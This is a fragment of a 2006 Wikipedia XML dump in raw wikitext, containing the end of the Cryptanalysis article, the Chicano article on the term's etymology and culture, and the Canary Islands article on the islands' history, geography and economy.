* ''Information deduction'' &amp;mdash; the attacker gains some [[Claude E. Shannon|Shannon]] [[information]] about plaintexts (or ciphertexts) not previously known.
* ''Distinguishing algorithm'' &amp;mdash; the attacker can [[distinguisher|distinguish]] the cipher from a random [[permutation]].
Similar considerations apply to attacks on other types of cryptographic algorithm.

===Complexity===
Attacks can also be characterised by the amount of resources they require. This can be in the form of:
* Time &amp;mdash; the number of &quot;primitive operations&quot; which must be performed. This is quite loose; primitive operations could be basic computer instructions, such as addition, [[XOR]], shift, and so forth, or entire encryption methods.
* Memory &amp;mdash; the amount of storage required to perform the attack.
* Data &amp;mdash; the ''quantity'' of plaintexts and ciphertexts required.

In [[academic]] cryptography, a ''weakness'' or a ''break'' in a scheme is usually defined quite conservatively. Bruce Schneier sums up this approach: &quot;''Breaking a cipher simply means finding a weakness in the cipher that can be exploited with a complexity less than brute force. Never mind that brute-force might require 2&lt;sup&gt;128&lt;/sup&gt; encryptions; an attack requiring 2&lt;sup&gt;110&lt;/sup&gt; encryptions would be considered a break...simply put, a break can just be a certificational weakness: evidence that the cipher does not perform as advertised.''&quot; (Schneier, 2000).
&lt;!-- Birthday attacks; man in the middle / time-memory tradeoff --&gt;

==Cryptanalysis of asymmetric cryptography==
[[Asymmetric cryptography]] (or [[public key cryptography]]) is cryptography that relies on using two keys; one private, and one public. Such ciphers invariably rely on &quot;hard&quot; [[mathematical problem]]s as the basis of their security, so an obvious point of attack is to develop methods for solving the problem. The security of two-key cryptography depends on mathematical questions in a way that single-key cryptography generally does not, and conversely links cryptanalysis to wider mathematical research in a new way.

Asymmetric schemes are designed around the ([[conjecture]]d) difficulty of solving various mathematical problems. If an improved algorithm can be found to solve the problem, then the system is weakened. For example, the security of the [[Diffie-Hellman key exchange]] scheme depends on the difficulty of calculating the [[discrete logarithm]]. In [[1983]], [[Don Coppersmith]] found a computationally feasible way to find discrete logarithms, and thereby gave to the cryptanalyst a tool with which to break the Diffie-Hellman cryptosystems. Another scheme, the popular [[RSA]] algorithm, remains unbroken. Its security depends (in part) upon the difficulty of [[integer factorisation]] &amp;mdash; a breakthrough in factoring would impact the security of RSA.

In [[1980]], one could factor a difficult 50-digit number at an expense of 10&lt;sup&gt;12&lt;/sup&gt; elementary computer operations. By 1984 the state of the art in factoring algorithms had advanced to a point where a 75-digit number could be factored in 10&lt;sup&gt;12&lt;/sup&gt; operations. Advances in computing technology also meant that the operations could be performed much faster, too. [[Moore's law]] predicts that computer speeds will continue to increase. Factoring techniques may continue do so as well, but will most likely depend on mathematical insight and creativity, neither of which has ever been successfully predictable.  150-digit numbers of the kind once used in RSA have been factored. The effort was greater than above, but was not unreasonable on fast modern computers. By the start of the 21st century, 150-digit numbers were no longer considered a large enough [[key size]] for RSA. Numbers with several hundred digits are still considered too hard to factor in [[as of 2004|2005]], though methods will probably continue to improve over time, requiring [[key size]] to keep pace or new algorithms to be used.

Another distinguishing feature of asymmetric schemes is that, unlike attacks on symmetric cryptosystems, any cryptanalysis has the opportunity to make use of knowledge gained from the [[public key]].

== Quantum computing applications for cryptanalysis ==
[[Quantum computer]]s have potential for use in [[cryptanalysis]]. Because [[quantum state]]s can exist in superposition (ie, entangled), a new paradigm for computation is possible. [[Peter Shor]] of [[Bell Labs]] proved the possibility, and various teams have demonstrated one or another aspect of quantum computer engineering in the years since. Thus far, only very limited proof of possibility designs have been demonstrated. There is, at this writing, no credible prospect of an actual, usable, quantum computer.

However, were a quantum computer to be built, many things would change. Parallel computation would likely become the norm, and some aspects of [[cryptography]] would change. 

In particular, since a quantum computer would be able to conduct extremely fast brute force key searches, [[key length]]s now considered effectively beyond any brute force attacker's resources would become practical. Key lengths necessary to be beyond a quantum computer's capacity would be longer, probably considerably longer. While some popular writers have declared that no encryption would remain secure when quantum computers become available, it seems likely that simply adding bits to key lengths will prohibit [[brute force attack]]s, even with quantum computers.  

A second possibility is that increased computational power may make possible non brute force [[key search attack]]s against one or more currently impregnable [[algorithm]]s, or classes of algorithms. For instance, not all progress in [[prime number|prime]] [[factorisation]] has been due to algorithmic improvements. Some has been due to increasing computer power, and the existence of working quantum computers may considerably advance factorization thus increasing the vulnerability of some cryptographic algorithms. This much is perhaps foreseeable, if not clearly. What cannot be anticipated is a theoretical breakthrough, requiring quantum computing, which would make possible currently impractical (or even unknown) attacks. In the absence of a method for predicting breakthroughs, we will simply have to wait.

It is unknown whether there is a [[polynomial time]] encryption algorithm for which decryption requires [[exponential time]], even for a quantum computer.

==Methods of cryptanalysis==
Classical cryptanalysis:
* [[Frequency analysis]]
* [[Kasiski examination]]
* [[Index of coincidence]]
* [[Mutual Index of coincidence]]

Symmetric algorithms:
* [[Differential cryptanalysis]]
* [[Linear cryptanalysis]]
* [[Integral cryptanalysis]]
* [[Statistical cryptanalysis]]
* [[Mod-n cryptanalysis]]
* [[XSL attack]]
* [[Slide attack]]

Other methods:
* [[Birthday attack]]
* [[Man in the middle attack]]
* [[Brute force attack]]
* [[Gardening (cryptanalysis)]]
* [[Differential Power Analysis]]

==See also==
* [[Rubber-hose cryptanalysis]]
* [[Side-channel attack]]
* [[Decipherment]]
* [[Cryptography]]
* [[Wikipedia:Wikiportal/Cryptography|Cryptography portal]]
* [[Topics in cryptography]]

== External links ==
* [http://www.umich.edu/~umich/fm-34-40-2/ Basic Cryptanalysis]

==References==
* Helen Fouché Gaines, &quot;Cryptanalysis&quot;, 1939, Dover. ISBN 0486200973
* Ibraham A. &amp;#8220;Al-Kindi: The origins of [[cryptology]]: The Arab contributions&amp;#8221;, ''[[Cryptologia]]'', 16(2) (April 1992) pp. 97&amp;ndash;126.
* [[David Kahn]], &quot;[[The Codebreakers]] - The Story of Secret Writing&quot;, 1967. ISBN 0684831309
* [[Lars R. Knudsen]]: Contemporary Block Ciphers. Lectures on Data Security 1998: 105-126
* [[Bruce Schneier]], &quot;[http://www.schneier.com/paper-self-study.html Self-Study Course in Block Cipher Cryptanalysis]&quot;, ''Cryptologia'', 24(1) (January 2000), pp. 18&amp;ndash;34.
* Friedrich L. Bauer: &quot;Decrypted Secrets&quot;. Springer 2002. ISBN 3540426744

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[[Category:Mathematical science occupations]]
[[Category:Analysis]]

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  <page>
    <title>Chicano</title>
    <id>5716</id>
    <revision>
      <id>41619174</id>
      <timestamp>2006-02-28T15:40:50Z</timestamp>
      <contributor>
        <username>Cityside Seraph</username>
        <id>990780</id>
      </contributor>
      <text xml:space="preserve">{{Mexican-American|right}}

A '''Chicano''' or '''Chicana''' is a term used to indicate an identity held by some persons of Mexican descent living in the United States. Often times, it refers to a first or second generation Mexican American living in an urban, Mexican American immigrant community, where there exists the strong ethnic consciousness of being &quot;Mexican American&quot;. It is considered a term of ethnic pride, though not all Mexican Americans proud of their heritage necessarily consider themselves Chicano. A woman of this category is usually named by the feminine form '''Chicana''', and, following the usual conventions for Spanish words, the masculine plural form '''Chicanos''' is used for groups that include both genders.

==Etymology==
Although the word ''Chicano'' may be a contraction of ''Mexicano'', there is no clear etymology of the term or its origin. It seems to have originated in the first decades of the twentieth century (see reference 1) in the south of US, and it was a derogatory term used by US landowners to refer to their Mexican workers. The term spread to Mexico to refer to people of low origins. The literary and political movements of the 1960s and 1970s among Mexican Americans established Chicano as a term of ethnic pride; Mexican-descended or origin Americans became aware of their status as a community and began to use the term with pride to refer to themselves.

Some believe the word comes from the word Mexica (pronounced Me-shi-ca in [[Nahuatl]]) and was corrupted to Mechicano by the Spanish, so that a Chicano or Xicano is in some sense an heir of the Mexica culture. [http://www.mexica-movement.org/timexihcah/WHATISCHICANOANDCHICANA.htm 2]&quot;

The word &quot;Chico&quot; means boy and &quot;Chica&quot; means girl in Spanish. Therefore, the most likely etymology for &quot;Chicano&quot; is the old custom of calling a low status person as if the person was a young man or &quot;boy&quot; or &quot;Chico&quot;. An example is &quot;Garcon&quot; (waiter) in French which also means boy. 

The term Chicano is offensive to some assimilated [[Mexican American]]s, who prefer other terms such as ''[[Hispanic American|Hispanic]]'', or ''[[Latino]]'', or simply ''Mexican''. Many Chicanos, in turn, find ''Mexican'' used alone as offensive because it overlooks their American and indigenous roots. Chicanos in [[Texas]] are also referred to as [[Tejanos]], although Tejano simply means ''Texan''. Some who do not find the masculine term Chicano acceptable to use as a plural, use the terms ''[[Chicano/a]],'' or [[Chican@]].

==Societal and cultural aspects==

In Mexico, the term can connote a person of low [[Social class|class]] and poor [[Morality|morals]], while in the U.S. it carries multiple meanings. [[Sabine Ulibarri]], an author from [[Tierra Amarilla, New Mexico]], notes that ''Chicano'' is a [[Politics|politically]] loaded term, though it is considered a positive term of honor by many. For Chicanos, the term usually implies being &quot;neither from here, nor from there&quot; in reference to the U.S. and Mexico respectively. As a mixture of [[culture]]s from both countries, being Chicano represents the struggle of fitting into the [[Anglo]]-dominated society of America while maintaining the cultural sense developed as a Latino child.  

Many Chicanos interchangably use the term ''[[la raza]]'' (literally, ''the [[race]]'') to define themselves. Some use the phrase ''la [[Bronze race|raza de bronce]]'' (&quot;the Bronze Race&quot;) seeing themselves as &quot;brown&quot; or &quot;bronze&quot; because of their [[Native American (Americas)|Native American]] ancestry (as opposed to [[Whites|white]] and [[African American|black]] people).  Using another term common in early twentieth-century ''americanista/indigenist'' thought, some also refer to themselves as ''[[la raza cósmica]]'', which means '[['the cosmic race]]''. 

It should be noted that the term ''la raza'' is widely used throughout [[Latin America]] and has additional layers of meaning referring to the sense of collective culture and consciousness of Spanish speakers of the New World.  In this respect it has elements of the German word ''volk'', which literally means ''people'' but is similarly difficult to translate to other languages. 

Unfortunately many Chicanos are classified and stereotyped as &quot;[http://en.wiktionary.org/wiki/gangbanger gangbanger]s&quot; and their style differs from the average &quot;Mexican&quot; from Mexico. The Mexicans from Mexico are normally categorized as &quot;Border brothers&quot; with their cowboyish dress attire and unique style of music where as the Chicano dress attire and style are &quot;Lowriders&quot; and gang affiliation [http://en.wiktionary.org/wiki/Vato vato locos] from the [[Sureños]] or [[Norteños]]. Chicanos are also often known to feud with the &quot;Border brothers&quot; from Mexico. There is also, at times, denigration of the recent immigrants by calling them  ''mojados'' or [[wetback]]s, referring to swimming the Rio Grande from Mexico as a means of illegal entrance to the United States.

Many individuals of Mexican descent view the use of the words ''Chicano'' or ''Chicana'' as reclamation and regeneration of a culture destroyed through [[colonialism]], although these are only opinions and may not reflect the view of all Chicanos.  Some younger Mexican Americans refer to themselves as Xicanos with an &quot;X&quot; to appear even more radical in terms of political ideology.

===Chicano art===

The term Chicano is also used to categorize a group of writers. [[Bruce Novoa]], a Chicano author, once wrote that Chicanos exist in the space created by the hyphen in Mexican-American. Also [[Rodolfo Gonzales|Rodolfo &quot;Corky&quot; Gonzales]]' &quot;Yo Soy Joaquin&quot; is considered a seminal work.

===Chicano music===

[[Chicano Rap]]  is [[hip hop music]], by all [[Chicano]]s, which started with [[Kid Frost]], who began using Spanish in the early [[1990]]'s.  His track &quot;La Raza&quot; started a whole generation of rappers using some Spanish in their English rhymes.

[[Chicano rock]] is [[rock and roll|rock music]] performed by [[Mexican American]] groups or music with themes derived from [[Chicano]] culture.  There are two undercurrents in Chicano rock. One is a devotion to the original [[rhythm and blues]] roots of Rock and roll. [[Ritchie Valens]], Sunny and the Sunglows. Groups inspired by this include [[Sir Douglas Quintet]], [[Thee Midniters]], and [[Los Lobos]]. The second theme is the openness to [[Latin America| Latin American]] sounds and influences. Trini Lopez, [[Carlos Santana|Santana]], Malo, and other Chicano 'Latin Rock' groups follow this approach.

==Notable Chicanos==

Some notable Chicanos include [[Cheech Marin]], [[George Lopez]], [[Oscar Zeta Acosta]], [[César Chávez]], [[Dolores Huerta]], [[Gloria Anzaldua]], [[Emma Tennayuca]], [[Eddie Guerrero]], and [[Sandra Cisneros]].

==See also==
* [[Aztlán]]
* [[Brown Berets]]
* [[Calo (Chicano slang)]]
* [[César Chávez]]
* [[Cherrie Moraga]]
* [[Chicano rap]]
* [[Cholo]]
* [[Colegio César Chávez]]
* [[Dolores Huerta]]
* [[El Vez]]
* [[Emma Tennayuca]]
* [[George Lopez]]
* [[Gloria Anzaldua]]
* [[Hispanic]]
* [[La raza]]
* [[Latino]]
* [[MEChA]]
* [[Mestizo]]
* [[Mexican]]
* [[Mexican American]]
*[[Category:Mexican Americans]]
* [[History of Mexican-Americans]]
* [[Oscar Zeta Acosta]]
* [[Pocho]]
* [[Race (U.S. Census)]]
* [[Tejano]]

==External links==
*[http://chicano-park.org  chicano-Park San Diego]
*[http://www.chicanas.com  Chicanas.com]
*[http://www.chicano-art-life.com/index.html Chicano-Art]
*[http://www.chicanismo.com/wiki Chicano Wikipedia]
*[http://www.losquemados.com Los Quemados Chicano Arte]
*[http://latino.sscnet.ucla.edu/women/womenHP.html UCLA Women]
*[http://www.mexicayotl.org/ Danza Mexi'cayotl: Traditional Chicano-Azteca-Chichimeca Dance Circle]
*[http://www.mexica-movement.org/ Mexica Movement]

==Sources==
1.  Tino Villanueva, Chicanos (selección), Lecturas Mexicanas, número 889, FCE/SEP, México, 1985, p. 7

[[Category:Ethnic groups in the United States]]

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  <page>
    <title>Canary Islands</title>
    <id>5717</id>
    <revision>
      <id>42012306</id>
      <timestamp>2006-03-03T05:20:22Z</timestamp>
      <contributor>
        <username>Wetman</username>
        <id>21492</id>
      </contributor>
      <comment>rv anonymous changes in statistics; please vet these figures</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}

:''&quot;Canaries&quot; redirects here. For the bird, see [[canary]].''
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+'''Comunidad Autónoma de&lt;br/&gt;&lt;big&gt;&lt;big&gt;Canarias&lt;/big&gt;&lt;/big&gt;'''
|-
| bgcolor=&quot;#ffffff&quot; align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0
|-
| align=center width=148 | [[Image:Flag of the Canary Islands.png|150px]]
| align=center width=148 | [[Image:Escudo de Canarias.png|100px]]
|-
| align=center width=148 | [[Flag of Canary Islands|Flag]]
| align=center width=148 | [[Coat of Arms of Canary Islands|Coat of Arms]]
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|-
| bgcolor=&quot;#c6c6c6&quot; align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Locator map of Canary.png]]
|-
| valign=top | [[Capital]]s
| [[Las Palmas de Gran Canaria]]&lt;br/&gt;[[Santa Cruz de Tenerife]]
|-
| [[Area]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total&lt;br/&gt;&amp;nbsp;&amp;ndash; % of Spain
| [[List of Spanish autonomous communities by area|Ranked 13th]]&lt;br/&gt;&amp;nbsp;[[1 E9 m²|7 447]] [[square kilometre|km²]]&lt;br/&gt;&amp;nbsp;1,5%
|-
| [[Population]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total (2003)&lt;br&gt;&amp;nbsp;&amp;ndash; % of Spain&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Density]]
| [[List of Spanish autonomous communities by population|Ranked 8th]]&lt;br/&gt;&amp;nbsp;1 843 755&lt;br/&gt;&amp;nbsp;4,4%&lt;br/&gt;&amp;nbsp;247,58/km²
|-
| [[Demonym]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[English language|English]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish language|Spanish]]
| &lt;br/&gt;&amp;nbsp;Canary Islander (Canarian)&lt;br/&gt;&amp;nbsp;''canario/a''&lt;!-- a slash? --&gt;
|-
| Statute of Autonomy
| [[August 16]], [[1982]]
|-
| [[ISO 3166-2]]
| ES-CN
|-
| [[Cortes Generales|Parliamentary&lt;br/&gt;representation]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Congress|Congress seats]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Senate|Senate seats]]
| valign=bottom |&amp;nbsp;14&lt;br/&gt;&amp;nbsp;2 (by Autonomic Goberment), 3 for Tenerife, 3 for Gran canaria, and one for every other island=13
|-
| [[List of Canary Islands Presidents|President]]
| [[Adán Martín Menis]] ([[Coalición Canaria|CC]])
|-
| align=center colspan=2 | [http://www.gobcan.es Gobierno de Canarias]
|}
The '''Canary Islands (Islas Canarias)''' (28° 06'N, 15° 24'W) are an [[archipelago]] of the [[Spain|Kingdom of Spain]] consisting of seven [[island]]s of [[volcano|volcanic]] origin in the [[Atlantic Ocean]]. They are located off the northwestern coast of [[Africa]] ([[Morocco]] and the [[Western Sahara]]). They form an [[autonomous communities of Spain|autonomous community]] of [[Spain]].  The name derives probably from a north African tribe (the Canarii) or possibly the Latin term ''Insularia Canaria'' meaning Island of the Dogs, a name applied originally only to the island of [[Gran Canaria]]. It is thought that the dense population of an endemic breed of large and fierce dogs was the characteristic that most struck the few ancient Romans who established contact with the islands by the sea.

==History==
===Precolonial Times===
The Canary Islands have been known since [[antiquity]]. The peak of [[Teide]] on [[Tenerife]] can be seen on clear days from the African coast. It is possible that the islands were among those discovered by the Carthaginian captain [[Hanno the Navigator]] in his voyage of exploration along the African coast. It is barely possible that the islands were visited by the Phoenicians seeking the precious red dye extracted from the [[orchilla]], if the Canaries are considered to be ''The Purple Isles'', or alternatively identified with the [[Hesperides]]. Recent discoveries have demonstrated that the Romans traded with the indigenous inhabitants of the Canary Islands, although there is no concrete evidence that any Romans actually settled. Legendary islands in the Western Ocean that recur in European traditions are often linked with the Canaries, even the legendary voyage of [[Saint Brendan]].

During the [[Middle Ages]], the islands were visited by the [[Arabs]] for commercial purposes. From the 14th century onward numerous visits were made by sailors from [[Mallorca]], [[Portugal]], and [[Genoa]]. [[Lancelotto Malocello]] settled on the island of [[Lanzarote]] in [[1312]]. The [[Mayorcans]] established a mission with a bishop in the islands that lasted from 1350 to 1400. It is from this mission that the various paintings and statues of the [[Mary, the mother of Jesus|Virgin Mary]] that are currently venerated in the island were preserved.

At the time of their discovery by Europeans, the Canary Islands were inhabited by a variety of indigenous communities. The pre-colonial population of the Canaries is generically referred to as [[Guanches]], although, strictly speaking, Guanches were originally the inhabitants of Tenerife. According to the chronicles, the inhabitants of Fuerteventura and Lanzarote were referred to as ''Maxos'', Gran Canaria was inhabited by the ''Canarii'', El Hierro by the ''Bimbaches'', La Palma by the ''Auaritas'' and La Gomera by the ''Gomeros''. Despite the fact that inter-insular relations among the indigenous communities cannot be conclusively denied, evidence does seem to suggest that the interaction was relatively low and each island was populated by its own distinct socio-cultural groups.

The origins of these Canarian indigenous people have been - and indeed still are - the subject of long debates. Numerous theories have been put forward throughout the last century, achieving varying degrees of acceptance. A common denominator to many of the theories, though, are the persisting effects of a diffusionist tradition that tends to resort to the archaeological record of different continents in the attempt to trace systematic cultural dispersions through stylistic analyses of the material productions, leading, in occasions, to rather far-fetched conclusions. As we are dealing with a group of islands, the first settlers must evidently have arrived by sea, and archaeology suggests that, when they did so, they imported, not only domestic animals such as goats, sheep, pigs and dogs and cereals such as wheat, barley and lentils, but also a set of well defined socio-cultural practices that seem to have originated and been in use for a long period of time elsewhere. Although the maritime currents surrounding the Canaries flow in a south-westerly and westerly direction (thus leading boats away into the Atlantic Ocean), there is enough evidence to prove that various Mediterranean civilisations in antiquity did know of the islands' existence and established contact with them (mainly Romans, Greeks and Phoenicians). The indigenous population of the Canaries, therefore, did not develop in complete isolation. In fact, as of the 14th century, European disembarkations of Genovese, Castelian and Portuguese missionaries and pirates on Canarian shores became relatively common and the prehispanic populations were subjected to a long, continuous process of Westernisation before the colonisations.

Today, archaeological and ethnographic studies have led most scholars to accept the view that the pre-colonial population of the Canaries were descendants of North [[Africa]]n [[Berber]] tribes who lived in the [[Atlas]] region and started arriving in the Canaries by sea c. 1000 BC. Two main problems remain to be solved in this field, though. Firstly, there is no archaeological or historical evidence to prove that either the Berber tribes of the Atlas Mountains or the Canarian pre-colonial population had any knowledge or made any use whatsoever of navigation techniques. This is particularly problematic considering that the Canary Islands are not visible from the African coast and the currents around the islands tend to lead the boats southwest and west, past the archipelago and into the Atlantic Ocean.

The second problem concerns absolute dating. Despite the fact that most scholars would now agree that the earliest reliable dates can be traced back to c. 1000 BC, different absolute dating technologies such as C&lt;sup&gt;14&lt;/sup&gt; and thermoluminscence have provided the most variable results. Poor methodological practices in the past and an insufficient number of absolute datings carried out throughout the archipelago are mostly responsible for this sort of inconsistency and lack of information.

There still exists, however, a relatively large variety of theories regarding th origin of prehispanic Canarians. For instance, a group of scholars (mainly from the University of La Laguna, in Tenerife) are presently defending the theory that the origins of the Canarian populations are Punic-Phoenician. Álvarez Delgado, on the other hand, argues that the Canaries were uninhabited until 100 AD, when they were gradually discovered by Greek and Roman sailors. In the second half of the first century AD, Juba II abandoned North African prisoners on the islands, who eventually became the prehispanic Canarians. The fact that the first inhabitants were abandoned prisoners thus explains, according to Álvarez Delgado, their lack of navigation skills.

Although denied by certain scholars (cf. Abreu Galindo 1977: 297), specialisation of labour and a hierarchy system seem to have governed the social structures of the Canarian precolonial populations . In Tenerife the highest figure was known as the ''Mencey'', although, by the time the first Spanish incursions in the Canaries took place, Tenerife had already been divided into nine ''menceyatos'' (i.e. separate regions of the island controlled by its own Mencey), namely Anaga, ''Tegueste, Tacoronte, Taoro, Icod, Daute, Adeje, Abona and Güimar''. Despite the fact that all ''Menceys'' were independent and absolute owners of their territory within the island, it was the ''Mencey of Taoro'' who acted, according to the chronicles, as primus inter pares. Gran Canaria, on the other hand, appears to have been divided into two ''guanartematos'' (i.e. functionally, politically and structurally differentiated regions): ''Telde'' and ''Gáldar'', each governed by a ''Guanarteme''.

Influenced by cultural materialist and cultural ecologist approaches, numerous studies of precolonial Canarian social structures have emphasised the importance of the availability of natural resources on the islands, the different degrees of access to them and the varying forms of subsistence strategies in use by the different populations. Thus most scholars have tended to adopt a clear-cut distinction between the agriculturalist and the pastoralist societies and ways of life in the Canaries (cf. Diego Cuscoy 1963: 44; González Antón &amp; Tejera Gaspar 1990: 78)-- a dichotomy which is perhaps rather over-simplistic, especially if we consider the great variety in microclimates and natural resources occurring, not only throughout the archipelago, but also within certain individual islands. In any case, this division has been applied (generally in an equally clear-cut fashion) to the islands of Tenerife and Gran Canaria, the former being described as a pastoralist society and the latter as an agriculturalist one. 

The religious and cosmological beliefs of the indigenous Canarians have proven to be a particularly problematic field of the islands' archaeological and historical studies. Most of the present knowledge derives, once again, from the contradictory and biased chronicles, whose ambiguous affirmations and descriptions often make it rather difficult for scholars to distinguish between what was originally the product of the chroniclers' misinterpretations, consciously concealed data, or actual religious syncretism caused by a century of contacts with the missionaries and other Europeans before the Spanish colonisations. Moreover, there is remarkably little archaeological evidence available, for, although certain sites containing architectonic remains have been identified as sanctuaries, the indigenous Canarian people often performed their religious practices (i.e. mainly libations and animal sacrifices) in natural sanctuaries such as cliffs, mountains and places marked by particular striking geographical features or types of vegetation (especially the tree ''Dracaena Drago''), most of which will go unnoticed from an archaeological perspective.

===The Spanish Conquest===
In 1402, the conquest of the islands began, with the expedition of [[Juan de Bethencourt]] and [[Gadifer de la Salle]] to the island of Lanzarote, [[Normans | Norman]] nobles who were [[vassal|vassals]] of [[Henry III of Castile]]. From there, he conquered [[Fuerteventura]] and [[Hierro]]. Béthencourt received the title King of the Canary Islands, but recognised King Henry III as his overlord.

Béthencourt also established a base on the island of [[Gomera]], but it would be many years before the island was truly conquered. The people of Gomera, as well as the [[Gran Canaria]], [[Tenerife]], and [[La Palma]] people, resisted the Spanish invaders for almost a century.

The conquest of the Canaries, which took almost 100 years, set a precedent for the conquest of the [[New World]], with complete annhilation of the native culture and rapid assimilation to [[Christianity]]. Due to the topology and the resistance of the native Guanches, the conquest was not completed until 1496, when the conquest of Tenerife was completed and the Canaries were incorporated into the Castilian kingdom. Between 1448 and 1459, there was a crisis between Castile and Portugal over the control of the islands, when [[Maciot de Bethencourt]] sold the lordship of Lanzarote to Portugal's Prince [[Henry the Navigator]], an action that was not accepted by the natives or the Castilian residents of the island, who initiated a revolt and expelled the Portuguese. 

After the conquest, the Spanish imposed a new economic model based on single-crop cultivation&amp;mdash; first, [[sugar cane]], then [[wine]], an important trade item with [[England]]. In this era, the first institutions of government were founded. Both Gran Canaria, since [[6 March]] [[1480]] a colony of Castille (from 1556 of Spain), and Tenerife, a Spanish colony since 1495, had separate governors, except while 1589 - 1595 part of the Captaincy-general of Canary Islands, until 1625 when both became for part of Captaincy-general of Canarias. 

The islands became a stopping point in the trade routes with America, Africa, and India, and the port of Las Palmas became one of the most important ports of the [[Spanish Empire]]. The towns of [[Santa Cruz de Tenerife|Santa Cruz]] and [[Las Palmas]], became a stopping point for the Spanish conquerors, traders, and missionaries on their way to the [[New World]]. This trade route brought great prosperity to some of the social sectors of the islands. The islands became quite wealthy and soon were attracting merchants and adventurers from all over [[Europe]]. Magnificent palaces and churches were built on the island of La Palma during this busy, prosperous period. Of particular interest to visitors is the Church of El Salvador, one of the island's finest examples of the architecture of the 1500s.

===1700-1900===
However, because of the crises of single-crop cultivation in the 18th century and onward, the independence of Spain's American colonies in the 19th century caused severe recessions on the islands. A new cash crop, the [[cochinilla]], came into cultivation during this time, saving the island's economy. .

During the 19th century and the first half of the 20th, owing to economic crises in the archipelago, a series of emigrations took place, primarily for the Americas.

===Early 20. Century===
At the beginning of the 20th century, the English introduced a new cash-crop, the banana, the export of which was controlled by companies such as [[Fyffes]].

The rivalry between the elites of the cities of [[Santa Cruz de Tenerife]] and [[Las Palmas]] for the capital-ship of the islands would lead to the division of the archipelago in two provinces in 1927, though this has not laid to rest the rivalry between the two cities, which continues to this day.

During the time of the [[Second Spanish Republic]], workers' movements with marxist and anarchist ideologies began to develop, led by figures such as [[Jose Miguel Perez]] and Guillermo Ascanio. However, outside of a few municipalities, these organisations were a minority. 

===The Franco Regime===
In 1936, [[Francisco Franco]] traveled to the Canaries as General Commandant. From the Canaries, he launched the military uprising of [[July 17]]. He quickly took control of the archipelago, with the exception of a few focal points of resistance on the island of [[La Palma]] and in the town of [[Vallehermoso]], on [[Gomera]] island. Despite the fact that there was never a proper war in the islands, they were one of the places where the post-war repression was most severe.

During the second world war, [[Winston Churchill]] prepared plans for the British seizure of the Canary Islands as a naval base, in the event of [[Gibraltar]] being invaded from the Spanish mainland.

Opposition to Franco's regime did not begin to organise until the late 1950s, which saw the formation of groups such as the [[Communist Party of Spain]] and various nationalist, leftist, and independence-terrorist movements, such as the [[Free Canaries Movement]] and the [[MPAIAC]].

===Until Today===
After Franco's death and the installation of a democratic [[constitutional monarchy]], a bill of [[self-governance|autonomy]] was put forth for the Canary how another communities, which was approved in 1982. In 1983, the first autonomous elections were held, and were won by the Spanish socialist party, [[PSOE]]. The current ruling party is the [[Canarian Coalition]].

==Physical geography==
The islands and their capitals are:
*[[Gran Canaria]] (capital [[Las Palmas de Gran Canaria]]);
*[[Tenerife]] (capital [[Santa Cruz de Tenerife]]);
*[[Lanzarote]] (capital [[Arrecife]]);
*[[La Palma]] (capital [[Santa Cruz de La Palma]]);
*[[La Gomera]] (capital [[San Sebastián de La Gomera]]);
*[[El Hierro]] (capital [[Valverde]]);
*[[Fuerteventura]] (capital [[Puerto del Rosario]]).

The nearest island is 108 km from the northwest African coast. 

The islands form the [[Macaronesia]] [[ecoregion]] with the [[Azores]], [[Cape Verde]], [[Madeira Islands|Madeira]], and the [[Savage Isles]]. The [[Teide]] volcano on Tenerife is the highest mountain in [[Spain]], and the third largest volcano on Earth. According to the position of the islands with respect to the [[trade wind]]s, the climate can be mild and wet or very dry. Several native species are conserved, like the [[drago|dragon]] tree ''Dracaena draco'' and the [[Laurisilva]] forests.

Four of Spain's 13 national parks are located in the Canary Islands, more than any other autonomous community:

*[[Parque Nacional de la Caldera de Taburiente]] on La Palma,
*[[Garajonay National Park]] on La Gomera,
*[[Teide]] National Park on Tenerife,
*[[Timanfaya National Park]] on Lanzarote.

==Political geography==
The '''Autonomous Community of the Canary Islands''' consists of two [[provinces of Spain|provinces]], [[Las Palmas (province)|Las Palmas]] and [[Santa Cruz de Tenerife (province)|Santa Cruz de Tenerife]], whose capitals ([[Las Palmas de Gran Canaria]] and [[Santa Cruz de Tenerife]]) are co-capitals of the autonomous community. Each of the seven major islands is ruled by an assembly named ''cabildo insular''.

&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;

[[Image:Canary Islands map by William Dampier 1699 - Project Gutenberg eText 15675.jpg|thumbnail|250px|right|Maps of the Canary Islands drawn by [[William Dampier]] during his voyage to [[New Holland]] in [[1699]].]]

[[image:canary-map.jpg|Map of the Canary Islands|right|thumb|300px]]

The international boundary of the Canaries are the subject of dispute between Spain and Morocco. Morocco does not agree that the laws regarding territorial limits allow Spain to claim for itself sea-bed boundaries based on the territory of the Canaries, because the Canary Islands are autonomous. The boundary is relevant for possible seabed oil deposits and other ocean resource exploitation. Morocco therefore does not formally agree to the territorial boundary; it rejected a 2002 unilateral Spanish proposal. [http://www.cia.gov/cia/publications/factbook/fields/2070.html Reference: CIA World Factbook]

Morocco has also made some vague historical claims to the Canary Islands themselves, but these claims have not been formally pursued.

==Economy==
The economy is based primarily on [[Tourism in Spain|tourism]], which makes up 32% of the GDP. The Canaries receive about 10 million tourists per year. Construction makes up nearly 20% of the GDP and tropical agriculture, primarily [[banana]]s and [[tobacco]], are grown for export to Europe and the Americas. Ecologists are concerned that the resources, especially in the more [[arid]] islands, are being overexploited but they still have lots of natural resources like tomatoes, potatoes, onions, cochineal, sugarcane, grapes, vines, dates, oranges, lemons, figs, wheat, barley, corn, apricots, peaches and almonds.

